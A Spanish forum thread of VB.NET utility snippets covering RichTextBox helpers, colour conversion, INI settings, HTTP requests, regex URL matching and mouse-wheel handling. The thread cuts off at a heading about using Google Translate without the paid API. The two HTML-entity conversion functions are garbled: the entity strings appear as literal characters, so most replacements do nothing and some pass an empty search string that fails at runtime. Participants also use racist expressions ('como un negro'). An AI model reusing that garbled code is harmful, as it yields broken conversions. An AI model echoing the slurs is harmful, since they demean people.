Private Function Get_TextFile_Total_Lines(ByVal File As String, _
Optional ByVal Include_BlankLines As Boolean = True) As Int64
Try
If Include_BlankLines Then
Return IO.File.ReadAllLines(File).Length
Else
Dim LineCount As Int64
For Each Line In IO.File.ReadAllLines(File)
If Not Line = String.Empty Then LineCount += 1
' Application.DoEvents()
Next
Return LineCount
End If
Catch ex As Exception
MsgBox(ex.Message)
Return -1
End Try
End Function
#End Region
Unos snippets especiálmente para un RichTextBox:
Devuelve la posición actual del cursor.
#Region " Get RichTextBox Cursor Position "
' [ Get RichTextBox Cursor Position Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Get_RichTextBox_Cursor_Position(RichTextBox1))
' RichTextBox1.SelectionStart = (Get_RichTextBox_Cursor_Position(RichTextBox1) + 1) : RichTextBox1.Focus()
Public Function Get_RichTextBox_Cursor_Position(ByVal RichTextBox_Object As RichTextBox) As Int64
Return RichTextBox_Object.SelectionStart
End Function
#End Region
Copia todo el texto del RichTextBox al portapapeles
#Region " Copy All RichTextBox Text "
' [ Copy All RichTextBox Text Function ]
'
' // By Elektro H@cker
'
' Examples :
' Copy_All_RichTextBox_Text(RichTextBox1)
Public Sub Copy_All_RichTextBox_Text(ByVal RichTextBox_Object As RichTextBox)
' Save the current cursor position
Dim Caret_Position As Int64 = RichTextBox_Object.SelectionStart
' Save the current selected text (If any)
Dim Selected_Text_Start As Int64, Selected_Text_Length As Int64
If RichTextBox_Object.SelectionLength > 0 Then
Selected_Text_Start = RichTextBox_Object.SelectionStart
Selected_Text_Length = RichTextBox_Object.SelectionLength
End If
RichTextBox_Object.SelectAll() ' Select all text
RichTextBox_Object.Copy() ' Copy all text
RichTextBox_Object.Select(Selected_Text_Start, Selected_Text_Length) ' Returns to the previous selected text
RichTextBox_Object.SelectionStart = Caret_Position ' Returns to the previous cursor position
' RichTextBox_Object.Focus() ' Focus again the richtextbox
End Sub
#End Region
Desactiva un menú contextual si el RichTextBox no contiene texto, activa el menú si el RichTextBox contiene texto.
#Region " Toggle RichTextBox Menu "
' [ Toggle RichTextBox Menu ]
'
' // By Elektro H@cker
'
' Examples :
' Private Sub RichTextBox1_TextChanged(sender As Object, e As EventArgs) Handles RichTextBox1.TextChanged
' Toogle_RichTextBox_Menu(sender, ContextMenuStrip1)
' End Sub
Private Sub Toggle_RichTextBox_Menu(ByVal RichTextBox As RichTextBox, ByVal ContextMenuStrip As ContextMenuStrip)
If RichTextBox.Lines.Count > 0 Then
ContextMenuStrip.Enabled = True
Else
ContextMenuStrip.Enabled = False
End If
End Sub
#End Region
Seleccionar líneas enteras
' RichTextBox [ MouseDown ]
Private Sub RichTextBox1_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs) Handles RichTextBox1.MouseDown
Try
Dim line = sender.GetLineFromCharIndex(sender.GetCharIndexFromPosition(e.Location))
Dim lineStart = sender.GetFirstCharIndexFromLine(line)
Dim lineEnd = sender.GetFirstCharIndexFromLine(line + 1) - 1
sender.SelectionStart = lineStart
If (lineEnd - lineStart) > 0 Then
sender.SelectionLength = lineEnd - lineStart
Else
sender.SelectionLength = lineStart - lineEnd ' Reverse the values because is the last line of RichTextBox
End If
Catch ex As Exception : MsgBox(ex.Message)
End Try
End Sub
Abrir links en el navegador
' RichTextBox [ LinkClicked ]
Private Sub RichTextBox1_LinkClicked(sender As Object, e As LinkClickedEventArgs) Handles RichTextBox1.LinkClicked
Process.Start(e.LinkText)
End Sub
Comprobar la conectividad de red
#Region " Is Connectivity Avaliable? function "
' [ Is Connectivity Avaliable? Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Is_Connectivity_Avaliable())
' While Not Is_Connectivity_Avaliable() : Application.DoEvents() : End While
Private Function Is_Connectivity_Avaliable()
Dim WebSites() As String = {"Google.com", "Facebook.com", "Microsoft.com"}
If My.Computer.Network.IsAvailable Then
For Each WebSite In WebSites
Try
My.Computer.Network.Ping(WebSite)
Return True ' Network connectivity is OK.
Catch : End Try
Next
Return False ' Network connectivity is down.
Else
Return False ' No network adapter is connected.
End If
End Function
#End Region
Comprobar si un número es negativo
#Region " Number Is Negavite "
' [ Number Is Negavite? Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Number_Is_Negavite(-5)) ' Result: True
' MsgBox(Number_Is_Negavite(5)) ' Result: False
Private Function Number_Is_Negavite(ByVal Number As Int64) As Boolean
Return Number < 0
End Function
#End Region
Comprobar si un número es positivo
#Region " Number Is Positive "
' [ Number Is Positive? Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Number_Is_Positive(5)) ' Result: True
' MsgBox(Number_Is_Positive(-5)) ' Result: False
Private Function Number_Is_Positive(ByVal Number As Int64) As Boolean
Return Number > 0
End Function
#End Region
Convierte un color html a rgb
#Region " HTML To RGB "
' [ HTML To RGB Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(HTML_To_RGB("#FFFFFF")) ' Result: 255,255,255
' MsgBox(HTML_To_RGB("#FFFFFF", RGB.R)) ' Result: 255
Public Enum RGB As Int16
RGB
R
G
B
End Enum
Private Function HTML_To_RGB(ByVal HTML_Color As String, Optional ByVal R_G_B As RGB = RGB.RGB) As String
Dim Temp_Color As Color = ColorTranslator.FromHtml(HTML_Color)
Select Case R_G_B
Case RGB.R : Return Temp_Color.R
Case RGB.G : Return Temp_Color.G
Case RGB.B : Return Temp_Color.B
Case RGB.RGB : Return (Temp_Color.R & "," & Temp_Color.G & "," & Temp_Color.B)
Case Else : Return Nothing
End Select
End Function
#End Region
Convierte color hexadecimal a html
#Region " HTML To HEX "
' [ HTML To HEX Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(HTML_To_HEX("#FFFFFF")) ' Result: 0xFFFFFF
Private Function HTML_To_HEX(ByVal HTML_Color As String) As String
Dim Temp_Color As Color = ColorTranslator.FromHtml(HTML_Color)
Return ("0x" & Hex(Temp_Color.R) & Hex(Temp_Color.G) & Hex(Temp_Color.B))
End Function
#End Region
color rgb a html
#Region " RGB To HTML "
' [ RGB To HTML Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(RGB_To_HTML(255, 255, 255)) ' Result: #FFFFFF
' PictureBox1.BackColor = ColorTranslator.FromHtml(RGB_To_HTML(255, 255, 255))
Private Function RGB_To_HTML(ByVal R As Int16, ByVal G As Int16, ByVal B As Int16) As String
Return ColorTranslator.ToHtml(Color.FromArgb(R, G, B))
End Function
#End Region
color rgb a hexadecimal
#Region " RGB To HEX "
' [ RGB To HEX Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(RGB_To_HEX(255, 255, 255)) ' Result: 0xFFFFFF
Private Function RGB_To_HEX(ByVal R As Int16, ByVal G As Int16, ByVal B As Int16) As String
Return ("0x" & Hex(R) & Hex(G) & Hex(B))
End Function
#End Region
color conocido a rgb
#Region " Color To RGB "
' [ Color To RGB Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Color_To_RGB(Color.White))
' MsgBox(Color_To_RGB(Color.White, RGB.R))
' PictureBox1.BackColor = Color.FromArgb(Color_To_RGB(Color.Red, RGB.R), Color_To_RGB(Color.Red, RGB.G), Color_To_RGB(Color.Red, RGB.B))
Public Enum RGB As Int16
RGB
R
G
B
End Enum
Private Function Color_To_RGB(ByVal Color As Color, Optional ByVal R_G_B As RGB = RGB.RGB) As String
Select Case R_G_B
Case RGB.R : Return Color.R
Case RGB.G : Return Color.G
Case RGB.B : Return Color.B
Case RGB.RGB : Return (Color.R & "," & Color.G & "," & Color.B)
Case Else : Return Nothing
End Select
End Function
#End Region
color conocido a html
#Region " Color To HTML "
' [ Color To HTML Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Color_To_HTML(Color.White))
' PictureBox1.BackColor = ColorTranslator.FromHtml(Color_To_HTML(Color.White))
Private Function Color_To_HTML(ByVal Color As Color) As String
Return ColorTranslator.ToHtml(Color.FromArgb(Color.R, Color.G, Color.B))
End Function
#End Region
color conocido a hexadecimal
#Region " Color To Hex "
' [ Color To Hex Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Color_To_Hex(Color.White))
Private Function Color_To_Hex(ByVal Color As Color) As String
Return ("0x" & Hex(Color.R) & Hex(Color.G) & Hex(Color.B))
End Function
#End Region
Guardar configuración en archivo INI
' By Elektro H@cker
'
' Example content of Test.ini:
'
' File=C:\File.txt
' SaveFile=True
Dim INI_File As String = ".\Test.ini"
' Save INI Settings
Private Sub Save_INI_Settings()
Dim Current_Settings As String = _
"File=" & TextBox_file.Text & Environment.NewLine & _
"SaveFile=" & CheckBox_SaveFile.Checked
My.Computer.FileSystem.WriteAllText(INI_File, Current_Settings, False)
End Sub
Descargar imágen web
#Region " Get Url Image Function "
' [ Get Url Image Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' PictureBox1.Image = Get_URL_Image("http://www.google.com/recaptcha/static/images/smallCaptchaSpaceWithRoughAlpha.png")
Public Function Get_URL_Image(ByVal URL As String) As System.Drawing.Bitmap
Try
Return New System.Drawing.Bitmap(New IO.MemoryStream(New System.Net.WebClient().DownloadData(URL)))
Catch ex As Exception
MsgBox(ex.Message)
Return Nothing
End Try
End Function
#End Region
Cargar configuración desde archivo INI
(Este snippet es una versión mejorada del otro que posteé)
' By Elektro H@cker
'
' Example content of Test.ini:
'
' File=C:\File.txt
' SaveFile=True
Dim INI_File As String = ".\Test.ini"
' Load INI Settings
Private Sub Load_INI_Settings()
Dim xRead As IO.StreamReader = IO.File.OpenText(INI_File)
Dim Line As String = String.Empty
Dim Delimiter As String = "="
Dim ValueName As String = String.Empty
Dim Value As Object
Do Until xRead.EndOfStream
Line = xRead.ReadLine().ToLower
ValueName = Line.Split(Delimiter).First
Value = Line.Split(Delimiter).Last
Select Case ValueName.ToLower
Case "File".ToLower : TextBox_File.Text = Value
Case "SaveFile".ToLower : CheckBox_SaveFile.Checked()
End Select
Application.DoEvents()
Loop
xRead.Close() : xRead.Dispose()
End Sub
Obtener respuesta http
#Region " Get Http Response "
' [ Validate URL Function ]
'
' Examples :
'
' Dim Response As System.Net.HttpWebResponse = Get_Http_Response(System.Net.HttpWebRequest.Create("http://www.google.com/StatusCode404"))
' If Response.StatusCode = System.Net.HttpStatusCode.NotFound Then MsgBox("Error 404")
Public Shared Function Get_Http_Response(request As System.Net.HttpWebRequest) As System.Net.HttpWebResponse
Try : Return DirectCast(request.GetResponse(), System.Net.HttpWebResponse)
Catch ex As System.Net.WebException
If ex.Response Is Nothing OrElse ex.Status <> System.Net.WebExceptionStatus.ProtocolError Then Throw
Return DirectCast(ex.Response, System.Net.HttpWebResponse)
End Try
End Function
#End Region
Cancelar el evento OnMove
#Region " Cancel Move Form "
' Examples:
' Me.Moveable = False
' Me.Moveable = True
Private Declare Function EnableMenuItem Lib "user32.dll" Alias "EnableMenuItem" (ByVal hMenu As IntPtr, ByVal uIDEnableItem As Int32, ByVal uEnable As Int32) As Int32
Private bMoveable As Boolean = True
Public Overridable Property Moveable() As Boolean
Get
Return bMoveable
End Get
Set(ByVal Value As Boolean)
If bMoveable <> Value Then
bMoveable = Value
End If
End Set
End Property
Protected Overrides Sub WndProc(ByRef m As Message)
If m.Msg = &H117& Then
'Handles popup of system menu.
If m.LParam.ToInt32 \ 65536 <> 0 Then 'divide by 65536 to get hiword.
Dim AbleFlags As Int32 = &H0&
If Not Moveable Then AbleFlags = &H2& Or &H1&
EnableMenuItem(m.WParam, &HF010&, &H0& Or AbleFlags)
End If
End If
If Not Moveable Then
'Cancels any attempt to drag the window by it's caption.
If m.Msg = &HA1 Then If m.WParam.ToInt32 = &H2 Then Return
'Redundant but cancels any clicks on the Move system menu item.
If m.Msg = &H112 Then If (m.WParam.ToInt32 And &HFFF0) = &HF010& Then Return
End If
'Return control to base message handler.
MyBase.WndProc(m)
End Sub
#End Region
Una función para devolver una lista con todas las coincidencias de un RegEx:
#Region " RegEx Matches To List "
' [ RegEx Matches To List Function ]
'
' // By Elektro H@cker
'
' Examples :
' Dim str As String = "<span class=""genres""><a href=""http://www.mp3crank.com/genre/alternative"" rel=""tag"">Alternative</a> / <a href=""http://www.mp3crank.com/genre/indie"" rel=""tag"">Indie</a> / <a href=""http://www.mp3crank.com/genre/rock"" rel=""tag"">Rock</a></span>"
' For Each match In RegEx_Matches_To_List(str, <a><![CDATA[tag">(\w+)<]]></a>.Value) : MsgBox(match) : Next
Private Function RegEx_Matches_To_List(ByVal str As String, ByVal RegEx_Pattern As String) As List(Of String)
Dim match As System.Text.RegularExpressions.Match = System.Text.RegularExpressions.Regex.Match(str, RegEx_Pattern)
Dim Match_List As New List(Of String)
Do While match.Success
Match_List.Add(match.Groups(1).ToString)
match = match.NextMatch()
Application.DoEvents()
Loop
Return Match_List
End Function
#End Region
Unas cuantas expresiones regulares que he escrito para facilitar algunas taréas:
' Dim str As String = <a><![CDATA[<href="http://www.mp3crank.com/feed"]]></a>.Value
' MsgBox(Match_RegEx_MainBase_Url(Str)) ' Result: http://www.mp3crank.com
Private Function Match_RegEx_MainBase_Url(ByVal str As String) As String
' Match criteria:
'
' http://url.domain
' https://url.domain
' www.url.domain
Dim RegEx As New System.Text.RegularExpressions.Regex( _
<a><![CDATA[(http://|https://|www).+\.[0-9A-z]]]></a>.Value)
Return RegEx.Match(str).Groups(0).ToString
End Function
' Dim str As String = <a><![CDATA[<href="http://www.mp3crank.com/feed"]]></a>.Value
' MsgBox(Match_RegEx_Url(str)) ' Result: http://www.mp3crank.com/feed
Private Function Match_RegEx_Url(ByVal str As String) As String
' Match criteria:
'
' http://url
' https://url
' www.url
Dim RegEx As New System.Text.RegularExpressions.Regex( _
<a><![CDATA[(http://|https://|www).+\b]]></a>.Value)
Return RegEx.Match(str).Groups(0).ToString
End Function
' Dim str As String = <a><![CDATA[href="http://www.mp3crank.com/the-rolling-stones/deluxe-edition.htm"]]></a>.Value
' MsgBox(Match_RegEx_htm_html(str)) ' Result: http://www.mp3crank.com/the-rolling-stones/deluxe-edition.htm
Private Function Match_RegEx_htm_html(ByVal str As String) As String
' Match criteria:
'
' http://Text.htm
' http://Text.html
' https://Text.htm
' https://Text.html
' www.Text.htm
' www.Text.html
Dim RegEx As New System.Text.RegularExpressions.Regex( _
<a><![CDATA[(http://|https://|www).*\.html?]]></a>.Value)
Return RegEx.Match(str).Groups(0).ToString
End Function
' Dim str As String = <a><![CDATA[href=>Drifter - In Search of Something More [EP] (2013)</a>]]></a>.Value
' MsgBox(Match_RegEx_Tag(str)) ' Result: Drifter - In Search of Something More [EP] (2013)
Private Function Match_RegEx_Tag(ByVal str As String) As String
' Match criteria:
'
' >..Text..<
Dim RegEx As New System.Text.RegularExpressions.Regex( _
<a><![CDATA[>([^<]+?)<]]></a>.Value)
Return RegEx.Match(str).Groups(1).ToString
End Function
Deberías poner mi code para que cambien las imagenes al pasar el mouse...
Tengo otro code, que adapta una imagen al fondo del Form... (Es decir si el form es de 800x600 y la imagen 1024x768 se redimensiona automaticamente)
Un saludo.
Te paso los codes? ;)
Cita de: Seazoux en 31 Mayo 2013, 15:08 PMDeberías poner mi code para que cambien las imagenes al pasar el mouse...
Puedes colaborar publicando tus códigos aquí, yo publico solo lo mio, o lo que encuentro por ahí en zonas prohibidas de la red xD.
Eres libre de publicar aquí tus snippets.
Cita de: Seazoux en 31 Mayo 2013, 15:08 PMTengo otro code, que adapta una imagen al fondo del Form... (Es decir si el form es de 800x600 y la imagen 1024x768 se redimensiona automaticamente)
Miedo me da ese código, no sé si querrás publicar eso, te lo digo más que nada porque no le veo sentido ni utilidad cuando existe una propiedad para redimensionar la imágen:
Me.BackgroundImageLayout = ImageLayout.StretchSaludos!
Cita de: EleKtro H@cker en 31 Mayo 2013, 16:26 PM
Miedo me da ese código, no sé si querrás publicar eso, te lo digo más que nada porque no le veo sentido ni utilidad cuando existe una propiedad para redimensionar la imágen:
Me.BackgroundImageLayout = ImageLayout.Stretch
Seriusly? xD Y yo buscando como un negro 20000 código por Interné...
Cita de: Seazoux en 31 Mayo 2013, 16:28 PMSeriusly? xD Y yo buscando como un negro 20000 código por Interné...
Claro, si alguna vez me hicieras caso y leyeras el nombre y la descripción de cada propiedad, ni 3 minutos lleva mirarse las propiedades de un Form, aparte de aprender un poco más no perderías tiempo buscando códigos tontos.
...Pero lo que me hace gracia es que alguien haya gastado tiempo escribiendo ese código que comentas, me imagino que también lo habrá escrito sin saber que existia dicha propiedad, el colmo xD.
En fín, publica lo que quieras de todas formas he?, pa eso está esta sección.
saludos
Pos yasta aquí están los codes :rolleyes:
Cambiar imagen al pasar el Mouse en VB.NET (Google indexando) :laugh:
Cita de: Seazoux Private Sub picMini_MouseEnter(sender As Object, e As EventArgs) Handles picMini.MouseEnter
sender.Image = Mini_Off
End Sub
Private Sub picMini_MouseLeave(sender As Object, e As EventArgs) Handles picMini.MouseLeave
sender.Image = Mini_On
End Sub
Private Sub frmMain_Load(sender As Object, e As EventArgs) Handles MyBase.Load
picMini.Image = Mini_On 'Aqui se carga la que se va a mostrar por defecto
picMini.BackColor = Color.Transparent 'Por si tiene transparencias la imagen
Dim Mini_Off As Image = Image.FromFile(".\Art\Buttons\Mini_Off.png")
Dim Mini_On As Image = Image.FromFile(".\Art\Buttons\Mini_On.png")
Adaptar imagen de Fondo al Form VB.NET (Para los que seáis unos negros y no sepáis las propiedades un Form como yo :laugh: :laugh: )
Dim Fondo As Image = Image.FromFile(".\Art\fondo.jpg")
Dim ancho As String = Me.Width
Dim alto As String = Me.Height
Dim bm_source As Bitmap = New Bitmap(Fondo)
Dim bm_dest As New Bitmap(CInt(ancho), CInt(alto))
Dim gr_dest As Graphics = Graphics.FromImage(bm_dest)
gr_dest.DrawImage(bm_source, 0, 0, bm_dest.Width + 1, bm_dest.Height + 1)
Me.BackgroundImage = bm_destUn saludo. ;D
[FastColoredTextBox] Scroll Text
Scrollea hasta el final del texto y posiciona el cursor del teclado en el último caracter.
PD: Se requiere el control extendido FastColoredTextbox.
(http://img96.imageshack.us/img96/6500/captura2sd.png)
#Region " [FastColoredTextBox] Scroll Text "
' FastColoredTextBox] Scroll Text
'
' // By Elektro H@cker
Private Sub FastColoredTextBox1_TextChanged(sender As Object, e As FastColoredTextBoxNS.TextChangedEventArgs) _
Handles FastColoredTextBox1.TextChangedDelayed
sender.ScrollLeft()
sender.Navigate(sender.Lines.Count - 1) ' Scroll to down
sender.SelectionStart = sender.Text.Length ' Set the keyboard cursor position
End Sub
#End Region
Convierte código Hexadecimal a número Win32Hex
#Region " Hex To Win32Hex "
' [ Hex To Win32Hex Function ]
'
' // By Elektro H@cker
'
' Examples:
' MsgBox(Hex_To_Win32Hex("FF4")) ' Result: &HFF4
' MsgBox(Hex_To_Win32Hex("0xFF4")) ' Result: &HFF4
' Dim Number As Int32 = Hex_To_Win32Hex("0xFF4") ' Result: 4084
Private Function Hex_To_Win32Hex(ByVal Hex As String) As String
If Hex.ToLower.StartsWith("0x") Then Hex = Hex.Substring(2, Hex.Length - 2)
Return "&H" & Hex
End Function
#End Region
- Detect mouse wheel direction.
Comprueba en que dirección se movió la rueda del mouse.
Private Sub Form_MouseWheel(ByVal sender As Object, ByVal e As MouseEventArgs) Handles MyBase.MouseWheel
Select Case Math.Sign(e.Delta)
Case Is < 0
MsgBox("MouseWheel Down")
Case Is > 0
MsgBox("MouseWheel Up")
End Select
End Sub
Comprueba en que dirección se movió la rueda del mouse.
...Lo mismo que antes pero usando los mensajes de Windows:
Public Shared Mouse_Have_Wheel As Boolean = My.Computer.Mouse.WheelExists
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Application.AddMessageFilter(New MouseWheelMessageFilter())
End Sub
Public Class MouseWheelMessageFilter
Implements IMessageFilter
Public Function PreFilterMessage(ByRef m As Message) As Boolean Implements IMessageFilter.PreFilterMessage
If Mouse_Have_Wheel Then
If m.Msg = &H20A Then
If Form.ActiveForm IsNot Nothing Then
Try ' "Try" solves too fast wheeling.
Dim delta As Integer = m.WParam.ToInt32() >> 16
If delta > 0 Then
MsgBox("MouseWheel Up")
Else
MsgBox("MouseWheel Down")
End If
Catch : End Try
End If
Return True
End If
End If
Return False
End Function
End Class
Ejemplo de como modificar la fuente de texto actual de un control:
Me.Font = New Font("Lucida Console", 16, FontStyle.Regular, GraphicsUnit.Point)
Anda esto me viene bien para mi topic de scroll de imagenes, que casualidad ;-) :laugh:
Cita de: Seazoux en 31 Mayo 2013, 20:41 PM
Anda esto me viene bien para mi topic de scroll de imagenes, que casualidad ;-) :laugh:
Si no fuese por mi ::)... espero ver mis créditos xD
Me alegro, Saludos.
Un simple método Get:
#Region " Get Method "
' [ Get Method Function ]
'
' Examples :
' MsgBox(Get_Method("http://translate.google.com/translate_a/t?client=t&text=HelloWorld&sl=en&tl=en")) ' Result: [[["HelloWorld","HelloWorld","",""]],,"en",,,,,,[["en"]],0]
Public Function Get_Method(ByVal URL As String) As String
Dim webClient As New System.Net.WebClient
Return webClient.DownloadString(URL)
End Function
#End Region
Convierte un string a entidades html:
#Region " String To Html Entities "
' [ String To Html Escaped Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(String_To_Html_Entities("www.Goo&gle.com")) ' Result: www.Goo&gle.com
Private Function String_To_Html_Entities(ByVal str As String) As String
str = str.Replace("&", "&") ' Keep this character to be always the first replaced.
str = str.Replace(ControlChars.Quote, """)
str = str.Replace(" ", " ")
str = str.Replace("<", "<")
str = str.Replace(">", ">")
str = str.Replace("¡", "¡")
str = str.Replace("¢", "¢")
str = str.Replace("£", "£")
str = str.Replace("¤", "¤")
str = str.Replace("¥", "¥")
str = str.Replace("¦", "¦")
str = str.Replace("§", "§")
str = str.Replace("¨", "¨")
str = str.Replace("©", "©")
str = str.Replace("ª", "ª")
str = str.Replace("¬", "¬")
str = str.Replace("®", "®")
str = str.Replace("¯", "¯")
str = str.Replace("°", "°")
str = str.Replace("±", "±")
str = str.Replace("²", "²")
str = str.Replace("³", "³")
str = str.Replace("´", "´")
str = str.Replace("µ", "µ")
str = str.Replace("¶", "¶")
str = str.Replace("·", "·")
str = str.Replace("¸", "¸")
str = str.Replace("¹", "¹")
str = str.Replace("º", "º")
str = str.Replace("»", "»")
str = str.Replace("¼", "¼")
str = str.Replace("½", "½")
str = str.Replace("¾", "¾")
str = str.Replace("¿", "¿")
str = str.Replace("×", "×")
str = str.Replace("ß", "ß")
str = str.Replace("À", "À")
str = str.Replace("à", "à")
str = str.Replace("Á", "Á")
str = str.Replace("á", "á")
str = str.Replace("", "Â")
str = str.Replace("", "â")
str = str.Replace("Ã", "Ã")
str = str.Replace("ã", "ã")
str = str.Replace("Ä", "Ä")
str = str.Replace("ä", "ä")
str = str.Replace("Å", "Å")
str = str.Replace("å", "å")
str = str.Replace("Æ", "Æ")
str = str.Replace("æ", "æ")
str = str.Replace("ç", "ç")
str = str.Replace("Ç", "Ç")
str = str.Replace("È", "È")
str = str.Replace("è", "è")
str = str.Replace("É", "É")
str = str.Replace("é", "é")
str = str.Replace("Ê", "Ê")
str = str.Replace("ê", "ê")
str = str.Replace("Ë", "Ë")
str = str.Replace("ë", "ë")
str = str.Replace("Ì", "Ì")
str = str.Replace("ì", "ì")
str = str.Replace("Í", "Í")
str = str.Replace("í", "í")
str = str.Replace("Î", "Î")
str = str.Replace("î", "î")
str = str.Replace("Ï", "Ï")
str = str.Replace("ï", "ï")
str = str.Replace("Ð", "Ð")
str = str.Replace("ð", "ð")
str = str.Replace("ñ", "ñ")
str = str.Replace("Ñ", "Ñ")
str = str.Replace("Ò", "Ò")
str = str.Replace("ò", "ò")
str = str.Replace("Ó", "Ó")
str = str.Replace("ó", "ó")
str = str.Replace("Ô", "Ô")
str = str.Replace("ô", "ô")
str = str.Replace("Õ", "Õ")
str = str.Replace("õ", "õ")
str = str.Replace("Ö", "Ö")
str = str.Replace("ö", "ö")
str = str.Replace("÷", "÷")
str = str.Replace("Ø", "Ø")
str = str.Replace("ø", "ø")
str = str.Replace("Ù", "Ù")
str = str.Replace("ù", "ù")
str = str.Replace("Ú", "Ú")
str = str.Replace("ú", "ú")
str = str.Replace("Û", "Û")
str = str.Replace("û", "û")
str = str.Replace("Ü", "Ü")
str = str.Replace("ü", "ü")
str = str.Replace("Ý", "Ý")
str = str.Replace("ý", "ý")
str = str.Replace("Þ", "Þ")
str = str.Replace("þ", "þ")
str = str.Replace("€", "€")
Return str
End Function
#End Region
Convierte un string a entidades html codificadas:
#Region " String To Html Escaped Entities "
' [ String To Html Escaped Entities Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(String_To_Html_Escaped_Entities("Me@Gmail.com")) ' Result: Me@Gmail.com
Public Function String_To_Html_Escaped_Entities(str As String) As String
Dim sb As New System.Text.StringBuilder(str.Length * 6)
For Each c As Char In str : sb.Append("&#").Append(CType(AscW(c), UShort)).Append(";"c) : Next
Return sb.ToString()
End Function
#End Region
Decodifica un string que contenga entidades HTML
#Region " Html Entities To String "
' [ Html Entities To String Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Html_Entities_To_String("www.Goo&gle.com")) ' Result: Goo&gle.com
Private Function Html_Entities_To_String(ByVal str As String) As String
str = str.Replace(""", ControlChars.Quote)
str = str.Replace("&", "&")
str = str.Replace(" ", "")
str = str.Replace("<", "<")
str = str.Replace(">", ">")
str = str.Replace("¡", "¡")
str = str.Replace("¢", "¢")
str = str.Replace("£", "£")
str = str.Replace("¤", "¤")
str = str.Replace("¥", "¥")
str = str.Replace("¦", "¦")
str = str.Replace("§", "§")
str = str.Replace("¨", "¨")
str = str.Replace("©", "©")
str = str.Replace("ª", "ª")
str = str.Replace("¬", "¬")
str = str.Replace("®", "®")
str = str.Replace("¯", "¯")
str = str.Replace("°", "°")
str = str.Replace("±", "±")
str = str.Replace("²", "²")
str = str.Replace("³", "³")
str = str.Replace("´", "´")
str = str.Replace("µ", "µ")
str = str.Replace("¶", "¶")
str = str.Replace("·", "·")
str = str.Replace("¸", "¸")
str = str.Replace("¹", "¹")
str = str.Replace("º", "º")
str = str.Replace("»", "»")
str = str.Replace("¼", "¼")
str = str.Replace("½", "½")
str = str.Replace("¾", "¾")
str = str.Replace("¿", "¿")
str = str.Replace("×", "×")
str = str.Replace("ß", "ß")
str = str.Replace("À", "À")
str = str.Replace("à", "à")
str = str.Replace("Á", "Á")
str = str.Replace("á", "á")
str = str.Replace("Â", "")
str = str.Replace("â", "")
str = str.Replace("Ã", "Ã")
str = str.Replace("ã", "ã")
str = str.Replace("Ä", "Ä")
str = str.Replace("ä", "ä")
str = str.Replace("Å", "Å")
str = str.Replace("å", "å")
str = str.Replace("Æ", "Æ")
str = str.Replace("æ", "æ")
str = str.Replace("ç", "ç")
str = str.Replace("Ç", "Ç")
str = str.Replace("È", "È")
str = str.Replace("è", "è")
str = str.Replace("É", "É")
str = str.Replace("é", "é")
str = str.Replace("Ê", "Ê")
str = str.Replace("ê", "ê")
str = str.Replace("Ë", "Ë")
str = str.Replace("ë", "ë")
str = str.Replace("Ì", "Ì")
str = str.Replace("ì", "ì")
str = str.Replace("Í", "Í")
str = str.Replace("í", "í")
str = str.Replace("Î", "Î")
str = str.Replace("î", "î")
str = str.Replace("Ï", "Ï")
str = str.Replace("ï", "ï")
str = str.Replace("Ð", "Ð")
str = str.Replace("ð", "ð")
str = str.Replace("ñ", "ñ")
str = str.Replace("Ñ", "Ñ")
str = str.Replace("Ò", "Ò")
str = str.Replace("ò", "ò")
str = str.Replace("Ó", "Ó")
str = str.Replace("ó", "ó")
str = str.Replace("Ô", "Ô")
str = str.Replace("ô", "ô")
str = str.Replace("Õ", "Õ")
str = str.Replace("õ", "õ")
str = str.Replace("Ö", "Ö")
str = str.Replace("ö", "ö")
str = str.Replace("÷", "÷")
str = str.Replace("Ø", "Ø")
str = str.Replace("ø", "ø")
str = str.Replace("Ù", "Ù")
str = str.Replace("ù", "ù")
str = str.Replace("Ú", "Ú")
str = str.Replace("ú", "ú")
str = str.Replace("Û", "Û")
str = str.Replace("û", "û")
str = str.Replace("Ü", "Ü")
str = str.Replace("ü", "ü")
str = str.Replace("Ý", "Ý")
str = str.Replace("ý", "ý")
str = str.Replace("Þ", "Þ")
str = str.Replace("þ", "þ")
str = str.Replace("€", "€")
Return str
End Function
#End Region
Decodifica un string codificado en HTML Escaped Entities
#Region " Html Escaped Entities To String "
' [ Html Escaped Entities To String Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Html_Escaped_Entities_To_String("Me@Gmail.com")) ' Result: Me@Gmail.com
Public Function Html_Escaped_Entities_To_String(str As String) As String
Dim sb As New System.Text.StringBuilder(str.Length)
str = str.Replace("&#", "")
Try : For Each entity In str.Split(";") : sb.Append(Chr(entity)) : Next : Catch : End Try
Return sb.ToString()
End Function
#End Region
Comprueba si un numero es multiplo de otro
#Region " Number Is Multiple? "
' [ Number Is Multiple? Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Number_Is_Multiple(30, 3)) ' Result: True
' MsgBox(Number_Is_Multiple(50, 3)) ' Result: False
Function Number_Is_Multiple(ByVal Number As Int64, ByVal Multiple As Int64) As Boolean
Return (Number Mod Multiple = 0)
End Function
#End Region
Comprueba si un numero es divisible por otro
#Region " Number Is Divisible? "
' [ Number Is Divisible? Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Number_Is_Divisible(30, 3)) ' Result: True
' MsgBox(Number_Is_Divisible(50, 3)) ' Result: False
Function Number_Is_Divisible(ByVal Number As Int64, ByVal Divisible As Int64) As Boolean
Return (Number Mod Divisible = 0)
End Function
#End Region
Usar Google Translate sin comprar la API de pago xD
#Region " Google Translate "
' [ Google Translate Function ]
'
' // By Elektro H@cker
'
' Examples :
'
